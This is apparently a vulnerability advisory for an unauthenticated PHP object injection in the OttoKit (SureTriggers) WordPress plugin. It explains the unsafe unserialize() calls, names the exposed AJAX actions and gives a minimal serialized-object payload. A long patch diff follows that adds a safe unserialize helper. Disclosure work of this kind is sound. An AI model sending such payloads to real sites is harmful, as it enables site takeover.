Published : June 14, 2026

CVE-2026-49781: OttoKit: All-in-One Automation Platform <= 1.1.27 Unauthenticated PHP Object Injection PoC, Patch Analysis & Rule

Plugin suretriggers
Severity High (CVSS 8.1)
CWE 502
Vulnerable Version 1.1.27
Patched Version 1.1.28
Disclosed June 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-49781:

This vulnerability allows unauthenticated PHP Object Injection in the OttoKit (SureTriggers) plugin for WordPress, versions 1.1.27 and earlier. The severity is critical (CVSS 8.1) due to the potential for complete compromise if a gadget chain exists on the target system. The issue stems from unsafe use of PHP’s unserialize() function on data that originates from untrusted sources.

The root cause lies in multiple locations within the plugin’s GlobalSearchController.php file. Specifically, at line 8543 and line 20040, the plugin calls unserialize() directly on database-stored data and plugin input without restricting object instantiation. At line 8543, the function GlobalSearchController::prepare_pluggable_data() calls unserialize() on user metadata retrieved from the WordPress users table. At line 21928, the same controller unserializes posted_data from a custom database table. These unserialize() calls allow instantiation of arbitrary PHP classes, creating an injection vector. The vulnerable code does not use the allowed_classes parameter to block object creation.

Exploitation requires sending a specially crafted serialized payload to any endpoint that triggers the prepare_pluggable_data() method or the affected AJAX handlers. Attackers can inject the serialized object via parameters in the REST API or AJAX actions that pass data through the vulnerable deserialization points. For example, the wp_ajax_suretriggers_webhook_logs or wp_ajax_suretriggers_global_search actions accept user-supplied data that flows into the deserialization. A simple payload like O:10:”MyCustomClass”:0:{} embedded in the request body or query string triggers object instantiation. No authentication is required because these hooks lack capability checks.

The patch introduces a new helper function st_safe_unserialize() in functions.php (lines 6-25). This function checks if the input is serialized using is_serialized(), then calls unserialize() with the allowed_classes => false option. This prevents any PHP objects from being instantiated during deserialization. All three vulnerable unserialize() calls in GlobalSearchController.php are replaced with st_safe_unserialize(). The function also appears in the new FuseDesk integration code added at the same time.

Exploitation can lead to arbitrary code execution if a PHP Object Injection gadget chain exists in an installed plugin or theme. Typical gadget chains in WordPress environments (e.g., from the MySQL-to-SQLite plugin or other common libraries) allow file deletion, data exfiltration, or remote code execution. Even without a known chain, the vulnerability introduces a critical risk of full site compromise. The impact is heightened because the attack requires no authentication or user interaction.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/suretriggers/functions.php
+++ b/suretriggers/functions.php
@@ -6,6 +6,25 @@
  */

 /**
+ * Safely unserialize a value, blocking PHP object instantiation.
+ *
+ * Drop-in replacement for unserialize() / maybe_unserialize() on any data
+ * that originates from user input or external storage. Uses is_serialized()
+ * to detect serialized strings without calling unserialize(), then deserializes
+ * with allowed_classes => false so no PHP objects are ever instantiated.
+ *
+ * @param mixed $data Value to unserialize.
+ * @return mixed Unserialized value, or original value if not serialized.
+ */
+function st_safe_unserialize( $data ) {
+	if ( ! is_string( $data ) || ! is_serialized( $data ) ) {
+		return $data;
+	}
+	// phpcs:ignore PHPCompatibility.FunctionUse.NewFunctionParameters.unserialize_optionsFound -- allowed_classes requires PHP 7.0+; WP minimum is 7.2+
+	return unserialize( $data, [ 'allowed_classes' => false ] );
+}
+
+/**
  * Get or prepare user id.
  *
  * @return int
--- a/suretriggers/src/Admin/Views/st-admin-outgoing-req-page.php
+++ b/suretriggers/src/Admin/Views/st-admin-outgoing-req-page.php
@@ -13,6 +13,49 @@
 use SureTriggersControllersWebhookRequestsController;
 global $wpdb;

+// Handle disable-logging toggle.
+if (
+	isset( $_POST['suretriggers_logging_nonce'] ) &&
+	wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['suretriggers_logging_nonce'] ) ), 'suretriggers_logging_nonce_action' ) &&
+	current_user_can( 'manage_options' )
+) {
+	$disable = isset( $_POST['st_disable_logging'] ) && '1' === sanitize_text_field( wp_unslash( $_POST['st_disable_logging'] ) );
+	update_option( 'suretriggers_disable_request_logging', $disable );
+}
+
+$logging_disabled = (bool) get_option( 'suretriggers_disable_request_logging', false );
+$tab_url          = add_query_arg(
+	[
+		'tab'      => 'st_outgoing_requests',
+		'_wpnonce' => wp_create_nonce( 'suretriggers_tab_nonce' ),
+	],
+	admin_url( 'admin.php?page=suretriggers-status' )
+);
+?>
+<div style="margin: 16px 0; padding: 16px 20px; background: #fff; border: 1px solid #c3c4c7; border-left: 4px solid <?php echo esc_attr( $logging_disabled ? '#d63638' : '#00a32a' ); ?>; border-radius: 2px; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px;">
+	<div>
+		<strong style="font-size: 14px;"><?php esc_html_e( 'Outgoing Request Logging', 'suretriggers' ); ?></strong>
+		<p style="margin: 4px 0 0; color: #50575e; font-size: 13px;">
+			<?php if ( $logging_disabled ) : ?>
+				<?php esc_html_e( 'Logging is currently disabled. No new requests are being stored. Failed requests cannot be retried automatically.', 'suretriggers' ); ?>
+			<?php else : ?>
+				<?php esc_html_e( 'Logging is enabled. Every outgoing webhook request is stored in the database for retry and history.', 'suretriggers' ); ?>
+			<?php endif; ?>
+		</p>
+	</div>
+	<form method="post" action="<?php echo esc_url( $tab_url ); ?>">
+		<?php wp_nonce_field( 'suretriggers_logging_nonce_action', 'suretriggers_logging_nonce' ); ?>
+		<?php if ( $logging_disabled ) : ?>
+			<input type="hidden" name="st_disable_logging" value="0" />
+			<button type="submit" class="button button-primary"><?php esc_html_e( 'Enable Logging', 'suretriggers' ); ?></button>
+		<?php else : ?>
+			<input type="hidden" name="st_disable_logging" value="1" />
+			<button type="submit" class="button button-secondary" style="border-color: #d63638; color: #d63638;"><?php esc_html_e( 'Disable Logging', 'suretriggers' ); ?></button>
+		<?php endif; ?>
+	</form>
+</div>
+<?php
+
 if ( ! class_exists( 'WP_List_Table' ) ) {
 	require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
 }
--- a/suretriggers/src/Controllers/GlobalSearchController.php
+++ b/suretriggers/src/Controllers/GlobalSearchController.php
@@ -8543,7 +8543,7 @@
 			$pluggable_data = get_object_vars( $pluggable_data );
 			unset( $pluggable_data['activation_key'] );
 			if ( is_string( $pluggable_data['meta'] ) ) {
-				$pluggable_data['meta'] = unserialize( $pluggable_data['meta'] );
+				$pluggable_data['meta'] = st_safe_unserialize( $pluggable_data['meta'] );
 			}
 			if ( is_array( $pluggable_data['meta'] ) ) {
 				unset( $pluggable_data['meta']['password'] );
@@ -14725,6 +14725,482 @@
 	}

 	/**
+	 * Get SCF Custom fields list for posts.
+	 *
+	 * @param array $data data.
+	 *
+	 * @return array
+	 */
+	public function search_scf_post_field_list( $data ) {
+
+		$post_id            = $data['dynamic']['wp_post'];
+		$selected_post_type = $data['dynamic']['wp_post_type'];
+
+		if ( -1 === $post_id ) {
+			$args    = [
+				'numberposts' => 1,
+				'fields'      => 'ids',
+				'orderby'     => 'rand',
+				'post_type'   => $selected_post_type,
+			];
+			$posts   = get_posts( $args );
+			$post_id = $posts[0];
+		}
+
+		$args = [
+			'post_id' => $post_id,
+		];
+		if ( ! is_numeric( $post_id ) ) {
+			$args = [
+				'post_type' => $post_id,
+			];
+		}
+		$options = [];
+		if ( function_exists( 'acf_get_field_groups' ) ) {
+			$field_groups_collection = acf_get_field_groups( $args );
+			foreach ( $field_groups_collection as $field_group ) {
+				if ( function_exists( 'acf_get_fields' ) ) {
+					$field_groups[] = acf_get_fields( $field_group['key'] );
+				}
+			}
+
+			if ( ! empty( $field_groups ) && is_array( $field_groups ) ) {
+				foreach ( $field_groups as $group_fields_set ) {
+					foreach ( $group_fields_set as $field_group ) {
+						$options[] = [
+							'value' => $field_group['name'],
+							'label' => ! empty( $field_group['label'] ) ? $field_group['label'] : $field_group['name'],
+						];
+					}
+				}
+			}
+		}
+
+		return [
+			'options' => $options,
+			'hasMore' => false,
+		];
+	}
+
+	/**
+	 * Get SCF Custom fields list for users.
+	 *
+	 * @param array $data data.
+	 *
+	 * @return array
+	 */
+	public function search_scf_user_field_list( $data ) {
+
+		if ( ! function_exists( 'acf_get_fields' ) ) {
+			return [];
+		}
+		if ( ! function_exists( 'acf_get_field_groups' ) ) {
+			return [];
+		}
+		$groups_user_form = [];
+		$options          = [];
+		if ( function_exists( 'acf_get_field_groups' ) ) {
+			$field_groups = acf_get_field_groups();
+			foreach ( $field_groups as $group ) {
+				if ( ! empty( $group['location'] ) ) {
+					foreach ( $group['location'] as $locations ) {
+						foreach ( $locations as $location ) {
+							if ( 'user_form' === $location['param'] || 'user_role' === $location['param'] || 'current_user' === $location['param'] || 'current_user_role' === $location['param'] ) {
+								$groups_user_form[] = $group;
+							}
+						}
+					}
+				}
+			}
+
+			if ( empty( $groups_user_form ) ) {
+				return [];
+			}
+
+			$key_values   = array_map(
+				function ( $item ) {
+					return $item['key'];
+				},
+				$groups_user_form
+			);
+			$unique_keys  = array_unique( $key_values );
+			$unique_array = array_intersect_key( $groups_user_form, $unique_keys );
+
+			foreach ( $unique_array as $group ) {
+				if ( function_exists( 'acf_get_fields' ) ) {
+					$group_fields = acf_get_fields( $group['key'] );
+				}
+				if ( ! empty( $group_fields ) ) {
+					foreach ( $group_fields as $field ) {
+						$options[] = [
+							'value' => $field['name'],
+							'label' => $field['label'],
+						];
+					}
+				}
+			}
+		}
+
+		return [
+			'options' => $options,
+			'hasMore' => false,
+		];
+	}
+
+	/**
+	 * Get SCF Custom fields list for options page.
+	 *
+	 * @param array $data data.
+	 *
+	 * @return array
+	 */
+	public function search_scf_options_field_list( $data ) {
+
+		if ( ! function_exists( 'acf_get_fields' ) ) {
+			return [];
+		}
+		if ( ! function_exists( 'acf_get_field_groups' ) ) {
+			return [];
+		}
+		$groups_options_form = [];
+		$options             = [];
+		if ( function_exists( 'acf_get_field_groups' ) ) {
+			$field_groups = acf_get_field_groups();
+			foreach ( $field_groups as $group ) {
+				if ( ! empty( $group['location'] ) ) {
+					foreach ( $group['location'] as $locations ) {
+						foreach ( $locations as $location ) {
+							if ( 'options_page' === $location['param'] ) {
+								$groups_options_form[] = $group;
+							}
+						}
+					}
+				}
+			}
+			if ( empty( $groups_options_form ) ) {
+				return [];
+			}
+			$key_values   = array_map(
+				function ( $item ) {
+					return $item['key'];
+				},
+				$groups_options_form
+			);
+			$unique_keys  = array_unique( $key_values );
+			$unique_array = array_intersect_key( $groups_options_form, $unique_keys );
+			foreach ( $unique_array as $group ) {
+				if ( function_exists( 'acf_get_fields' ) ) {
+					$group_fields = acf_get_fields( $group['key'] );
+				}
+				if ( ! empty( $group_fields ) ) {
+					foreach ( $group_fields as $field ) {
+						$options[] = [
+							'value' => $field['name'],
+							'label' => $field['label'],
+						];
+					}
+				}
+			}
+		}
+
+		return [
+			'options' => $options,
+			'hasMore' => false,
+		];
+	}
+
+	/**
+	 * Search Last Updated Field Data for SCF post fields.
+	 *
+	 * @param array $data data.
+	 * @return array
+	 */
+	public function search_scf_post_field_data( $data ) {
+		$context  = [];
+		$response = [];
+
+		$field = ( isset( $data['filter']['field_id']['value'] ) ? $data['filter']['field_id']['value'] : -1 );
+
+		$post_type = $data['filter']['wp_post_type']['value'];
+		$post      = $data['filter']['wp_post']['value'];
+
+		if ( -1 === $post ) {
+			$args  = [
+				'numberposts' => 1,
+				'fields'      => 'ids',
+				'orderby'     => 'rand',
+				'post_type'   => $post_type,
+			];
+			$posts = get_posts( $args );
+			$post  = $posts[0];
+		}
+		if ( -1 === $field ) {
+			$args = [
+				'post_id' => $post,
+			];
+			if ( function_exists( 'acf_get_field_groups' ) ) {
+				$field_groups_collection = acf_get_field_groups( $args );
+			}
+			if ( ! empty( $field_groups_collection ) ) {
+				foreach ( $field_groups_collection as $field_group ) {
+					if ( function_exists( 'acf_get_fields' ) ) {
+						$field_groups[] = acf_get_fields( $field_group['key'] );
+					}
+				}
+			}
+			$fields = [];
+			if ( ! empty( $field_groups ) && is_array( $field_groups ) ) {
+				foreach ( $field_groups as $group_fields_set ) {
+					$fields[] = $group_fields_set;
+				}
+			}
+			if ( ! empty( $fields ) ) {
+				$random_key = array_rand( $fields[0] );
+				$field_key  = $fields[0][ $random_key ];
+				$field      = $field_key['name'];
+			} else {
+				$result = '';
+			}
+		} else {
+			$field = $data['filter']['field_id']['value'];
+		}
+		if ( function_exists( ( 'get_field' ) ) ) {
+			$result = get_field( $field, $post );
+		}
+
+		$response = [];
+		if ( ! empty( $result ) ) {
+			$post_fields = [];
+			if ( function_exists( 'get_fields' ) ) {
+				$post_fields = get_fields( $post );
+			}
+			$response['pluggable_data'] = array_merge( [ $field => $result ], [ 'field_id' => $field ], [ 'post_fields' => $post_fields ], [ 'post' => WordPress::get_post_context( $post ) ], [ 'wp_post' => $post ], [ 'wp_post_type' => get_post_type( $post ) ] );
+			$response['response_type']  = 'live';
+		} else {
+			$response = json_decode( '{"response_type":"sample","pluggable_data":{"custom_description": "custom message", "ID": 1, "post_author": "1", "post_date": "2023-05-31 13:26:24", "post_date_gmt": "2023-05-31 13:26:24", "post_content": "", "post_title": "Test", "post_excerpt": "", "post_status": "publish", "comment_status": "open", "ping_status": "open", "post_password": "", "post_name": "test", "to_ping": "", "pinged": "", "post_modified": "2023-08-17 09:15:56", "post_modified_gmt": "2023-08-17 09:15:56", "post_content_filtered": "", "post_parent": 0, "guid": "https://example.com/?p=1", "menu_order": 0, "post_type": "post", "post_mime_type": "", "comment_count": "2", "filter": "raw"}}', true );
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Search Last Updated User Field Data SCF.
+	 *
+	 * @param array $data data.
+	 * @return array
+	 */
+	public function search_scf_user_field_data( $data ) {
+		global $wpdb;
+
+		$context = [];
+
+		$field = (int) ( isset( $data['filter']['field_id']['value'] ) ? $data['filter']['field_id']['value'] : -1 );
+
+		if ( -1 === $field ) {
+			$groups_user_form = [];
+			if ( function_exists( 'acf_get_field_groups' ) ) {
+				$field_groups = acf_get_field_groups();
+			}
+			if ( ! empty( $field_groups ) ) {
+				foreach ( $field_groups as $group ) {
+					if ( ! empty( $group['location'] ) ) {
+						foreach ( $group['location'] as $locations ) {
+							foreach ( $locations as $location ) {
+								if ( 'user_form' === $location['param'] || 'user_role' === $location['param'] || 'current_user' === $location['param'] || 'current_user_role' === $location['param'] ) {
+									$groups_user_form[] = $group;
+								}
+							}
+						}
+					}
+				}
+				$field_groups = $groups_user_form;
+			}
+			if ( empty( $field_groups ) ) {
+				$result = '';
+			}
+			$fields = [];
+			if ( ! empty( $field_groups ) ) {
+				foreach ( $field_groups as $group ) {
+					if ( function_exists( 'acf_get_fields' ) ) {
+						$group_fields = acf_get_fields( $group['key'] );
+					}
+					if ( ! empty( $group_fields ) ) {
+						foreach ( $group_fields as $scf_field ) {
+							$fields[] = $scf_field;
+						}
+					}
+				}
+			}
+			if ( ! empty( $fields ) ) {
+				$random_key = array_rand( $fields );
+				$field      = $fields[ $random_key ]['name'];
+			} else {
+				$result = '';
+			}
+		} else {
+			$field = $data['filter']['field_id']['value'];
+		}
+		$users = get_users(
+			[
+				'fields'   => 'ID',
+				'meta_key' => $field,
+			]
+		);
+
+		if ( ! empty( $users ) ) {
+			$user_random_key  = array_rand( $users );
+			$selected_user_id = $users[ $user_random_key ];
+			if ( function_exists( 'get_field' ) ) {
+				$result = get_field( $field, 'user_' . $selected_user_id );
+			}
+			$response = [];
+			if ( ! empty( $result ) ) {
+				$context                    = [
+					'field_id' => $field,
+					$field     => $result,
+					'user'     => WordPress::get_user_context( $selected_user_id ),
+				];
+				$response['pluggable_data'] = $context;
+				$response['response_type']  = 'live';
+			} else {
+				$response = json_decode(
+					'{
+					"response_type": "sample",
+					"pluggable_data": {
+						"field_id": "gender",
+						"user": {
+							"wp_user_id": 114,
+							"user_login": "test",
+							"display_name": "test",
+							"user_firstname": "test",
+							"user_lastname": "test",
+							"user_email": "test@test.com",
+							"user_role": [ "subscriber" ]
+						}
+					}
+				}',
+					true
+				);
+			}
+		} else {
+			$response = json_decode(
+				'{
+				"response_type": "sample",
+				"pluggable_data": {
+					"field_id": "gender",
+					"user": {
+						"wp_user_id": 114,
+						"user_login": "test",
+						"display_name": "test",
+						"user_firstname": "test",
+						"user_lastname": "test",
+						"user_email": "test@test.com",
+						"user_role": [ "subscriber" ]
+					}
+				}
+			}',
+				true
+			);
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Search Last Updated Options Field Data SCF.
+	 *
+	 * @param array $data data.
+	 * @return array
+	 */
+	public function search_scf_options_field_data( $data ) {
+		global $wpdb;
+		$context  = [];
+		$response = [];
+		$field    = (int) ( isset( $data['filter']['field_id']['value'] ) ? $data['filter']['field_id']['value'] : -1 );
+
+		if ( -1 === $field ) {
+			$groups_options_form = [];
+			if ( function_exists( 'acf_get_field_groups' ) ) {
+				$field_groups = acf_get_field_groups();
+			}
+			if ( ! empty( $field_groups ) ) {
+				foreach ( $field_groups as $group ) {
+					if ( ! empty( $group['location'] ) ) {
+						foreach ( $group['location'] as $locations ) {
+							foreach ( $locations as $location ) {
+								if ( 'options_page' === $location['param'] ) {
+									$groups_options_form[] = $group;
+								}
+							}
+						}
+					}
+				}
+			}
+			if ( empty( $groups_options_form ) ) {
+				$result = '';
+			}
+			$key_values   = array_map(
+				function ( $item ) {
+					return $item['key'];
+				},
+				$groups_options_form
+			);
+			$unique_keys  = array_unique( $key_values );
+			$unique_array = array_intersect_key( $groups_options_form, $unique_keys );
+			$fields       = [];
+			if ( ! empty( $unique_array ) ) {
+				foreach ( $unique_array as $group ) {
+					if ( function_exists( 'acf_get_fields' ) ) {
+						$group_fields = acf_get_fields( $group['key'] );
+					}
+					if ( ! empty( $group_fields ) ) {
+						foreach ( $group_fields as $scf_field ) {
+							$fields[] = $scf_field;
+						}
+					}
+				}
+			}
+			if ( ! empty( $fields ) ) {
+				$random_key = array_rand( $fields );
+				$field      = $fields[ $random_key ]['name'];
+			} else {
+				$result = '';
+			}
+		} else {
+			$field = $data['filter']['field_id']['value'];
+		}
+		if ( function_exists( 'get_field' ) ) {
+			$option_value = get_field( $field, 'option' );
+		}
+		if ( ! empty( $option_value ) ) {
+			if ( function_exists( 'acf_get_field' ) ) {
+				$options_fields = acf_get_field( $field );
+				if ( function_exists( 'acf_maybe_get' ) ) {
+					$options_page = acf_maybe_get( $options_fields, 'parent' );
+				}
+			}
+			$context                    = [
+				'field_id' => $field,
+				$field     => $option_value,
+			];
+			$response['pluggable_data'] = $context;
+			$response['response_type']  = 'live';
+		} else {
+			$response = json_decode(
+				'{
+				"response_type": "sample",
+				"pluggable_data": {
+					"field_id": "optionpage",
+					"optionpage": "newoption"
+				}
+			}',
+				true
+			);
+		}
+		return $response;
+	}
+
+	/**
 	 * Get WP Fusion Tags list.
 	 *
 	 * @param array $data data.
@@ -19564,7 +20040,7 @@
 			}
 			return $data;
 		} elseif ( is_string( $data ) && self::is_serialized( strval( $data ) ) ) {
-			return unserialize( $data );
+			return st_safe_unserialize( $data );
 		} else {
 			return $data;
 		}
@@ -21452,7 +21928,7 @@
 		$results      = $wpdb->get_results( $sql, ARRAY_A );// @phpcs:ignore

 		if ( ! empty( $results ) ) {
-			$context['pluggable_data'] = unserialize( $results[0]['posted_data'] );
+			$context['pluggable_data'] = st_safe_unserialize( $results[0]['posted_data'] );
 			$context['response_type']  = 'live';
 		} else {
 			$context = json_decode( '{"pluggable_data":{"final_price": "1.00","final_price_short": "1","request_timestamp": "04/10/2024 06:56:33","apps": [{"id": 1,"cancelled": "Pending","serviceindex": 0,"service": "Service 1","duration": 60,"price": 1,"date": "2024-04-13","slot": "10:00/11:00","military": 0,"field": "fieldname1","quant": 1,"sid": ""}],"app_service_1": "Service 1","app_status_1": "Pending","app_duration_1": 60,"app_price_1": 1,"app_date_1": "04/13/2024","app_slot_1": "10:00/11:00","app_starttime_1": "10:00 AM","app_endtime_1": "11:00 AM","app_quantity_1": 1,"formid": 1,"formname": "Form 1","referrer": "https://example.com/wp-admin/admin.php?page=cp_apphourbooking&addbk=1&cal=1&r=0.7819147291131667","fieldname1": " - 04/13/2024 10:00 AM - 11:00 AM (Service 1)n","email": "johnd@yopmail.com","username": "admin","itemnumber": 1},"response_type":"sample"}', true );// @phpcs:ignore
@@ -22206,9 +22682,40 @@
 				case 'stage_changed':
 					$stage_data  = Stage::where( 'board_id', $result['board_id'] )->whereNull( 'archived_at' )->first();
 					$user_result = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}users ORDER BY id DESC LIMIT 1", ARRAY_A );
-
+
+					$raw_custom_fields = $wpdb->get_results( //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+						$wpdb->prepare(
+							"SELECT bt.id, bt.title, bt.slug, bt.settings AS field_settings, r.settings AS pivot_settings
+							FROM {$wpdb->prefix}fbs_board_terms bt
+							LEFT JOIN {$wpdb->prefix}fbs_relations r
+								ON r.foreign_id = bt.id
+								AND r.object_id = %d
+								AND r.object_type = 'task_custom_field'
+							WHERE bt.board_id = %d AND bt.type = 'custom-field'
+							ORDER BY bt.position ASC",
+							$result['id'],
+							$result['board_id']
+						),
+						ARRAY_A
+					);
+
+					$custom_fields = [];
+					if ( ! empty( $raw_custom_fields ) ) {
+						foreach ( $raw_custom_fields as $cf ) {
+							$field_settings  = is_array( st_safe_unserialize( $cf['field_settings'] ) ) ? st_safe_unserialize( $cf['field_settings'] ) : [];
+							$pivot_settings  = is_array( st_safe_unserialize( $cf['pivot_settings'] ) ) ? st_safe_unserialize( $cf['pivot_settings'] ) : [];
+							$custom_fields[] = [
+								'id'    => $cf['id'],
+								'title' => $cf['title'],
+								'slug'  => $cf['slug'],
+								'type'  => isset( $field_settings['custom_field_type'] ) ? $field_settings['custom_field_type'] : '',
+								'value' => isset( $pivot_settings['value'] ) ? $pivot_settings['value'] : '',
+							];
+						}
+					}
+
 					$context['pluggable_data'] = [
-						'task'         => [
+						'task'          => [
 							'id'          => $result['id'],
 							'slug'        => $result['slug'],
 							'title'       => $result['title'],
@@ -22253,7 +22760,8 @@
 								],
 							],
 						],
-						'old_stage_id' => $stage_data->id,
+						'old_stage_id'  => $stage_data->id,
+						'custom_fields' => $custom_fields,
 					];
 					$context['response_type']  = 'live';
 					break;
@@ -22409,7 +22917,7 @@
 					$context = json_decode( '{"pluggable_data":{"id":"1001","slug":"sample-task","title":"Sample Task","description":"This is a sample task.","type":"task","board_id":"10","stage_id":"3","position":"1","priority":"medium","created_at":"2024-03-20 12:00:00","created_by":"1","updated_at":"2024-03-20 12:30:00","settings":[],"stage":{"id":"3","slug":"sample-stage","title":"Sample Stage","type":"default","board_id":"10","position":"1","settings":[],"created_at":"2024-03-19 10:00:00","updated_at":"2024-03-20 11:00:00"}},"response_type":"sample"}', true );
 					break;
 				case 'stage_changed':
-					$context = json_decode( '{"pluggable_data":{"id":"1002","slug":"changed-task","title":"Changed Task","description":"This task changed stages.","type":"task","board_id":"10","stage_id":"4","position":"2","priority":"high","created_at":"2024-04-01 10:00:00","created_by":"1","updated_at":"2024-04-01 12:00:00","settings":[],"stage":{"id":"4","slug":"new-stage","title":"New Stage","type":"default","board_id":"10","position":"2","settings":[],"created_at":"","updated_at":""},"old_stage_id":"3","watchers":[{"ID":71,"photo":"https://www.gravatar.com/avatar/e361de3380a6b977abf350619468ce4f?s=128&d=https%3A%2F%2Fui-avatars.com%2Fapi%2FJohn+Doe/128","user_url":"","user_email":"john@gmail.com","user_login":"john","user_status":0,"display_name":"John Doe","user_nicename":"john","user_registered":"2025-05-28 12:07:48","pivot":{"object_id":1002,"created_at":"2025-06-05T10:11:31+00:00","foreign_id":71,"user_id":71}}]},"response_type":"sample"}', true );
+					$context = json_decode( '{"pluggable_data":{"id":"1002","slug":"changed-task","title":"Changed Task","description":"This task changed stages.","type":"task","board_id":"10","stage_id":"4","position":"2","priority":"high","created_at":"2024-04-01 10:00:00","created_by":"1","updated_at":"2024-04-01 12:00:00","settings":[],"stage":{"id":"4","slug":"new-stage","title":"New Stage","type":"default","board_id":"10","position":"2","settings":[],"created_at":"","updated_at":""},"old_stage_id":"3","watchers":[{"ID":71,"photo":"https://www.gravatar.com/avatar/e361de3380a6b977abf350619468ce4f?s=128&d=https%3A%2F%2Fui-avatars.com%2Fapi%2FJohn+Doe/128","user_url":"","user_email":"john@gmail.com","user_login":"john","user_status":0,"display_name":"John Doe","user_nicename":"john","user_registered":"2025-05-28 12:07:48","pivot":{"object_id":1002,"created_at":"2025-06-05T10:11:31+00:00","foreign_id":71,"user_id":71}}],"custom_fields":[{"id":"1","title":"Priority Score","slug":"priority-score","type":"number","value":"8"},{"id":"2","title":"Client Approved","slug":"client-approved","type":"checkbox","value":true}]},"response_type":"sample"}', true );
 					break;
 				case 'task_updated':
 					$context = json_decode( '{"pluggable_data":{"task":{"id":"1001","parent_id":null,"board_id":"10","title":"Sample Task","slug":"sample-task","type":"task","status":"open","stage_id":"3","source":"web","priority":"medium","description":"<p>Updated task description</p>","position":"1","created_by":"1","created_at":"2024-03-20 12:00:00","updated_at":"2024-03-20 12:30:00","due_at":"2024-03-25 23:45:00","started_at":null,"settings":[],"stage":{"id":"3","slug":"sample-stage","title":"Sample Stage","type":"default","board_id":"10","position":"1","settings":[]}},"column":"description","old_task":{"id":"1001","parent_id":null,"board_id":"10","title":"Sample Task","slug":"sample-task","type":"task","status":"open","stage_id":"3","source":"web","priority":"medium","description":"<p>Original task description</p>","position":"1","created_by":"1","created_at":"2024-03-20 12:00:00","updated_at":"2024-03-20 12:00:00","due_at":"2024-03-25 23:45:00","started_at":null,"settings":[]}},"response_type":"sample"}', true );
@@ -26137,6 +26645,48 @@
 	}

 	/**
+	 * Search Advanced Forms for ACF forms.
+	 *
+	 * @param array $data Search Params.
+	 *
+	 * @return array
+	 */
+	public function search_advanced_forms( $data ) {
+		if ( ! function_exists( 'af' ) ) {
+			return [
+				'options' => [],
+				'hasMore' => false,
+			];
+		}
+
+		$forms = get_posts(
+			[
+				'post_type'   => 'af_form',
+				'post_status' => 'publish',
+				'numberposts' => -1,
+				'orderby'     => 'title',
+				'order'       => 'ASC',
+			]
+		);
+
+		$options = [];
+
+		if ( ! empty( $forms ) ) {
+			foreach ( $forms as $form ) {
+				$options[] = [
+					'label' => $form->post_title,
+					'value' => $form->post_name,
+				];
+			}
+		}
+
+		return [
+			'options' => $options,
+			'hasMore' => false,
+		];
+	}
+
+	/**
 	 * Search Code Snippets list.
 	 *
 	 * @param array $data data.
@@ -26179,7 +26729,115 @@
 		];
 	}

+	/**
+	 * Get CLUEVO LMS learning structure items list.
+	 *
+	 * Returns all items from the CLUEVO tree table (courses, chapters, modules)
+	 * with pagination and optional name/path filtering. Item IDs from this list
+	 * are used by the Assign User to Course action.
+	 *
+	 * @param array $data Search params: page, term.
+	 * @return array
+	 */
+	public function search_cluevo_lms_items( $data ) {
+		if ( ! function_exists( 'cluevo_get_lms_item_list' ) ) {
+			return [];
+		}
+
+		$page   = $data['page'];
+		$limit  = Utilities::get_search_page_limit();
+		$offset = $limit * ( $page - 1 );
+		$term   = isset( $data['term'] ) ? strtolower( trim( (string) $data['term'] ) ) : '';
+
+		$all_items = cluevo_get_lms_item_list();
+
+		if ( empty( $all_items ) || ! is_array( $all_items ) ) {
+			return [
+				'options' => [],
+				'hasMore' => false,
+			];
+		}
+
+		if ( ! empty( $term ) ) {
+			$all_items = array_values(
+				array_filter(
+					$all_items,
+					function ( $item ) use ( $term ) {
+						return strpos( strtolower( (string) $item->name ), $term ) !== false
+							|| strpos( strtolower( (string) $item->path ), $term ) !== false;
+					}
+				)
+			);
+		}
+
+		$total      = count( $all_items );
+		$page_items = array_slice( $all_items, $offset, $limit );
+
+		$options = [];
+		foreach ( $page_items as $item ) {
+			$label     = ! empty( $item->path ) ? rtrim( (string) $item->path, '/' ) : (string) $item->name;
+			$options[] = [
+				'label' => $label,
+				'value' => $item->item_id,
+			];
+		}
+
+		return [
+			'options' => $options,
+			'hasMore' => $total > ( $offset + $limit ),
+		];
+	}
+

+	/**
+	 * Get Groups by itthinx — list groups from the custom groups table.
+	 *
+	 * @param array $data data.
+	 * @return array
+	 */
+	public function search_groups_itthinx_groups( $data ) {
+		global $wpdb;
+
+		if ( ! class_exists( 'Groups_Group' ) ) {
+			return [
+				'options' => [],
+				'hasMore' => false,
+			];
+		}
+
+		$page        = $data['page'];
+		$limit       = Utilities::get_search_page_limit();
+		$offset      = $limit * ( $page - 1 );
+		$search_term = isset( $data['search_term'] ) ? sanitize_text_field( $data['search_term'] ) : '';
+
+		$group_table = $wpdb->prefix . 'groups_group'; //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+
+		if ( ! empty( $search_term ) ) {
+			$like    = '%' . $wpdb->esc_like( $search_term ) . '%';
+			$results = $wpdb->get_results( $wpdb->prepare( "SELECT group_id, name FROM {$group_table} WHERE name LIKE %s ORDER BY name ASC LIMIT %d OFFSET %d", $like, $limit, $offset ) ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$total   = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$group_table} WHERE name LIKE %s", $like ) ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+		} else {
+			$results = $wpdb->get_results( $wpdb->prepare( "SELECT group_id, name FROM {$group_table} ORDER BY name ASC LIMIT %d OFFSET %d", $limit, $offset ) ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$total   = $wpdb->get_var( "SELECT COUNT(*) FROM {$group_table}" ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+		}
+
+		$options = [];
+		if ( ! empty( $results ) ) {
+			foreach ( $results as $group ) {
+				$options[] = [
+					'label' => is_string( $group->name ) ? $group->name : '',
+					'value' => $group->group_id,
+				];
+			}
+		}
+
+		$total = is_numeric( $total ) ? (int) $total : 0;
+
+		return [
+			'options' => $options,
+			'hasMore' => $total > ( $offset + $limit ),
+		];
